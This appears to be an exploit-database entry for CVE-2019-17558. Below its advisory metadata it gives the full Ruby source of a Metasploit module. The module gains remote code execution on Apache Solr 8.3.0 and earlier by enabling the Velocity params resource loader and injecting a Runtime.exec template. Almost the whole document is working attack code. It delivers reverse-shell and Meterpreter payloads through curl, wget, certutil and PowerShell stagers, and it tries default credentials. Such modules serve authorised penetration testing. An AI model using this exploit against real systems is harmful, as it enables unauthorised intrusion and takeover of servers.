Apache Solr Remote Code Execution via Velocity Template (Metasploit)

2020.04.18
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Solr Remote Code Execution via Velocity Template', 'Description' => %q( This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom Velocity template. Currently, this module only supports Solr basic authentication. From the Tenable advisory: An attacker could target a vulnerable Apache Solr instance by first identifying a list of Solr core names. Once the core names have been identified, an attacker can send a specially crafted HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity template parameter in a specially crafted Solr request, leading to RCE. ), 'License' => MSF_LICENSE, 'Author' => [ 's00py', # Discovery and PoC 'jas502n', # exploit code on Github 'AleWong', # ExploitDB contribution, and exploit code on Github 'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module ], 'References' => [ [ 'EDB', '47572' ], [ 'CVE', '2019-17558' ], [ 'URL', 'https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability'], [ 'URL', 'https://www.huaweicloud.com/en-us/notice/2018/20191104170849387.html'], [ 'URL', 'https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133/'], [ 'URL', 'https://github.com/jas502n/solr_rce'], [ 'URL', 'https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template'], ], 'Platform' => ['linux', 'unix', 'win'], 'Targets' => [ [ 'Unix (in-memory)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux (dropper)', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, 'CmdStagerFlavor' => %w[curl wget] } ], [ 'x86/x64 Windows PowerShell', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_psh, 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } } ], [ 'x86/x64 Windows CmdStager', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_cmdstager, 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'vbs' }, 'CmdStagerFlavor' => %w[vbs certutil] } ], [ 'Windows Exec', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :windows_exec, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' } } ], ], 'DisclosureDate' => "2019-10-29", # ISO-8601 formatted 'DefaultTarget' => 0, 'Privileged' => false ) ) register_options( [ Opt::RPORT(8983), OptString.new('USERNAME', [false, 'Solr username', 'solr']), OptString.new('PASSWORD', [false, 'Solr password', 'SolrRocks']), OptString.new('TARGETURI', [false, 'Path to Solr', '/solr/']) ] ) end # if we are going to exploit, we only need one core to be exploitable @vuln_core = "" # OS specific stuff @target_platform = "" # if authentication is used @auth_string = "" def check_auth # see if authentication is required for the specified Solr instance auth_check = solr_get('uri' => normalize_uri(target_uri.path)) # successfully connected? unless auth_check print_bad("Connection failed!") return nil end # if response code is not 200, then the Solr instance definitely requires authentication unless auth_check.code == 200 # if authentication is required and creds are not provided, we cannot reliably check exploitability if datastore['USERNAME'] == "" && datastore['PASSWORD'] == "" print_bad("Credentials not provided, skipping credentialed check...") return nil end # otherwise, try the given creds auth_string = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) attempt_auth = solr_get('uri' => normalize_uri(target_uri.path), 'auth' => auth_string) # successfully connected? unless attempt_auth print_bad("Connection failed!") return nil end # if the return code is not 200, then authentication definitely failed unless attempt_auth.code == 200 print_bad("Invalid credentials!") return nil end store_valid_credential( user: datastore['USERNAME'], private: datastore['PASSWORD'], private_type: :password, proof: attempt_auth.to_s ) @auth_string = auth_string end # a placeholder return value. Not requiring auth should throw no errors "" end # check for vulnerability existence def check auth_res = check_auth unless auth_res return CheckCode::Unknown("Authentication failed!") end # send a GET request to get Solr and system details ver = solr_get('uri' => normalize_uri(target_uri.path, '/admin/info/system'), 'auth' => @auth_string) # can't connect? that's an automatic failure unless ver return CheckCode::Unknown("Connection failed!") end # convert to JSON ver_json = ver.get_json_document # get Solr version solr_version = Gem::Version.new(ver_json['lucene']['solr-spec-version']) print_status("Found Apache Solr #{solr_version}") # get OS version details @target_platform = ver_json['system']['name'] target_arch = ver_json['system']['arch'] target_osver = ver_json['system']['version'] print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}") # uname doesn't show up for Windows, so run a check for that if ver_json['system']['uname'] # print uname only when verbose vprint_status("Full uname is '#{ver_json['system']['uname'].strip}'") end # the vulnerability is only present in Solr versions <= 8.3.0 unless solr_version <= Gem::Version.new('8.3.0') return CheckCode::Safe("Running version of Solr is not vulnerable!") end # enumerate cores cores = solr_get('uri' => normalize_uri(target_uri.path, '/admin/cores'), 'auth' => @auth_string) # can't connect? that's yet another automatic failure unless cores return CheckCode::Unknown("Could not enumerate cores!") end # convert to JSON yet again cores_json = cores.get_json_document # draw up an array of all the cores cores_list = Array.new # get the core names cores_json['status'].keys.each do |core_name| cores_list.push(core_name) end # no cores? that means nothing to exploit. if cores_list.empty? return CheckCode::Safe("No cores found, nothing to exploit!") end # got cores? tell the operator which cores were found print_status("Found core(s): #{cores_list.join(', ')}") possibly_vulnerable_cores = {} cores_list.each do |core| # for each core, attempt to get config core_config = solr_get('uri' => normalize_uri(target_uri.path, core.to_s, 'config'), 'auth' => @auth_string) # can't retrieve configuration for that core? go next unless core_config print_error("Could not retrieve configuration for core #{core}!") next end # convert to JSON core_config_json = core_config.get_json_document # if the core configuration does not include the Velocity Response Writer, it isn't vulnerable if core_config_json['config']['queryResponseWriter'].keys.include?("velocity") vprint_good("Found Velocity Response Writer in use by core #{core}") if core_config_json['config']['queryResponseWriter']['velocity']['params.resource.loader.enabled'] == "true" vprint_good("params.resource.loader.enabled for core '#{core}' is set to true.") possibly_vulnerable_cores.store(core, true) else # if params.resource.loader.enabled is false, we need to set it to true before exploitation print_warning("params.resource.loader.enabled for core #{core} is set to false.") possibly_vulnerable_cores.store(core, false) end else vprint_error("Velocity Response Writer not found in core #{core}") next end end # look at the array of possibly vulnerable cores if possibly_vulnerable_cores.empty? CheckCode::Safe("No cores are vulnerable!") else # if possible, pick a core that already has params.resource.loader.enabled set to true possibly_vulnerable_cores.each do |core| if core[1] == true @vuln_core = core break end end # otherwise, just pick the first one if @vuln_core.to_s == "" @vuln_core = possibly_vulnerable_cores.first end CheckCode::Vulnerable end end # the exploit method def exploit unless [CheckCode::Vulnerable].include? check fail_with Failure::NotVulnerable, "Target is most likely not vulnerable!" end print_status("Targeting core '#{@vuln_core[0]}'") # if params.resource.loader.enabled for that core is false if @vuln_core[1] != true # the new config in JSON format enable_params_resource_loader = { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }.to_json opts_post = { 'method' => 'POST', 'connection' => 'Keep-Alive', 'ctype' => 'application/json;charset=utf-8', 'encode_params' => false, 'uri' => normalize_uri(target_uri.path, @vuln_core[0].to_s, 'config'), 'data' => enable_params_resource_loader } unless @auth_string == "" opts_post.store('authorization', @auth_string) end print_status("params.resource.loader.enabled is false, setting it to true...") update_config = send_request_cgi(opts_post) unless update_config fail_with Failure::Unreachable, "Connection failed!" end # if we got anything other than a 200 back, the configuration update failed and the exploit won't work unless update_config.code == 200 fail_with Failure::UnexpectedReply, "Unable to update config, exploit failed!" end print_good("params.resource.loader.enabled is now set to true!") end # windows... if @target_platform.include? "Windows" # if target is wrong, warn and exit before doing anything unless target.name.include? "Windows" fail_with Failure::NoTarget, "Target is found to be Windows, please select the proper target!" end case target['Type'] # PowerShell... when :windows_psh # need PowerShell for this winenv_path = execute_command("C:\\Windows\\System32\\cmd.exe /c PATH", 'auth_string' => @auth_string, 'core_name' => @vuln_core[0], 'winenv_check' => true) unless winenv_path fail_with Failure::Unreachable, "Connection failed!" end # did the command to check for PATH execute? unless winenv_path.code == 200 fail_with Failure::UnexpectedReply, "Unexpected reply from target, aborting!" end # is PowerShell in PATH? if /powershell/i =~ winenv_path.body.to_s # only interested in the contents of PATH. Everything before it is irrelevant paths = winenv_path.body.split('=')[1] # confirm that PowerShell exists in the PATH by checking each one paths.split(';').each do |path_val| # if PowerShell exists in PATH, then we are good to go unless /powershell/i =~ path_val next end print_good("Found Powershell at #{path_val}") # generate PowerShell command, encode with base64, and remove comspec psh_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true) # specify full path to PowerShell psh_cmd.insert(0, path_val) # exploit the thing execute_command(psh_cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0]) break end else fail_with Failure::BadConfig, "PowerShell not found!" end # ... CmdStager ... when :windows_cmdstager print_status("Sending CmdStager payload...") execute_cmdstager(linemax: 7130, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0]) # ... or plain old exec? when :windows_exec cmd = "C:\\Windows\\System32\\cmd.exe /c #{payload.encoded}" execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0]) end end # ... or nix-based? if @target_platform.include? "Linux" # if target is wrong, warn and exit before doing anything if target.name.include? "Windows" fail_with Failure::NoTarget, "Target is found to be nix-based, please select the proper target!" end case target['Type'] when :linux_dropper execute_cmdstager('auth_string' => @auth_string, 'core_name' => @vuln_core[0]) when :unix_memory cmd = "/bin/bash -c $@|/bin/bash . echo #{payload.encoded}" execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0]) end end end # some prep work has to be done to work around the limitations of Java's Runtime.exec() def execute_cmdstager_begin(_opts) if @target_platform.include? "Windows" @cmd_list.each do |command| command.insert(0, "C:\\Windows\\System32\\cmd.exe /c ") end else @cmd_list.each do |command| command.insert(0, "/bin/bash -c $@|/bin/bash . echo ") end end end # sic 'em, bois! def execute_command(cmd, opts = {}) # custom template which enables command execution template = <<~VELOCITY #set($x="") #set($rt=$x.class.forName("java.lang.Runtime")) #set($chr=$x.class.forName("java.lang.Character")) #set($str=$x.class.forName("java.lang.String")) VELOCITY # attempts to solve the quoting problem, partially successful if target.name.include?("Unix") template += <<~VELOCITY #set($ex=$rt.getRuntime().exec("#{cmd}")) VELOCITY else template += <<~VELOCITY #set($ex=$rt.getRuntime().exec('#{cmd}')) VELOCITY end template += <<~VELOCITY $ex.waitFor() VELOCITY # the next 2 lines cause problems with CmdStager, so it's only used when needed # during the check for PowerShell existence, or by specific payloads if opts['winenv_check'] || target['Type'] == :windows_exec || target['Type'] == :unix_memory template += <<~VELOCITY #set($out=$ex.getInputStream()) #if($out.available()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end #else #end VELOCITY end # execute the exploit... raw_result = solr_get( 'uri' => normalize_uri(target_uri.path, opts['core_name'].to_s, 'select'), 'auth' => opts['auth_string'], 'vars_get' => { 'q' => '1', 'wt' => 'velocity', 'v.template' => 'custom', 'v.template.custom' => template } ) # Executing PATH always gives a result, so it can return safely if opts['winenv_check'] return raw_result end # for printing command output unless raw_result.nil? unless raw_result.code == 200 fail_with Failure::PayloadFailed, "Payload failed to execute!" end # to get pretty output result_inter = raw_result.body.to_s.sub("0\n", ":::").split(":::").last unless result_inter.nil? final_result = result_inter.split("\n").first.strip print_good(final_result) end end end # make sending requests easier def solr_get(opts = {}) send_request_cgi_opts = { 'method' => 'GET', 'connection' => 'Keep-Alive', 'uri' => opts['uri'] } # @auth_string defaults to "" if no authentication is necessary # otherwise, authentication is required if opts['auth'] != "" send_request_cgi_opts.store('authorization', opts['auth']) end # a bit unrefined, but should suffice in this case if opts['vars_get'] send_request_cgi_opts.store('vars_get', opts['vars_get']) end send_request_cgi(send_request_cgi_opts) end end


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